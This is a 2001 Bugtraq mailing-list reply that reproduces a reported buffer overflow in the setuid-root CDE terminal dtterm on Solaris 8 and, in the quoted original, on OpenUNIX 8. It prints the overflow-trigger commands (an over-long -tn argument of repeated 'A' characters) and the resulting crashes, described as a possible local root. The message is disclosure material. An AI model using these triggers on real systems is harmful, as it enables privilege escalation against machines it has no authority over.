I was able to reproduce this on a Solaris 8 sparc machine with different tolerances: [288] uname -a SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60 [289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'` Segmentation Fault(coredump) [297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'` Bus Error(coredump) ginger:dcushing[298] -David > -----Original Message----- > From: Aycan Irican [mailto:aycan@mars.prosoft.com.tr] > Sent: Tuesday, October 02, 2001 1:55 AM > To: bugtraq@securityfocus.com > Cc: evrim@envy.com.tr > Subject: OpenUNIX 8 & Unixware possible local root > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Another dt series bug... > > $ uname -a > OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5 > $ id > uid=101(fixxxer) gid=1(other) > $ ls -al /usr/dt/bin/dtterm > - -r-sr-xr-x 1 root bin 60892 Haz 10 05:03 > /usr/dt/bin/dtterm > $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'` > Warning: Missing charsets in String to FontSet conversion > Warning: Missing charsets in String to FontSet conversion > Memory fault > .. snip ..
